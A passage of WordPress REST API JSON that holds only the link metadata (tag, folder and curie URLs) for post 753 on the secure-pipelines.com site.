post=753"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/tags?post=753"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/ar\/wp-json\/wp\/v2\/post_folder?post=753"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}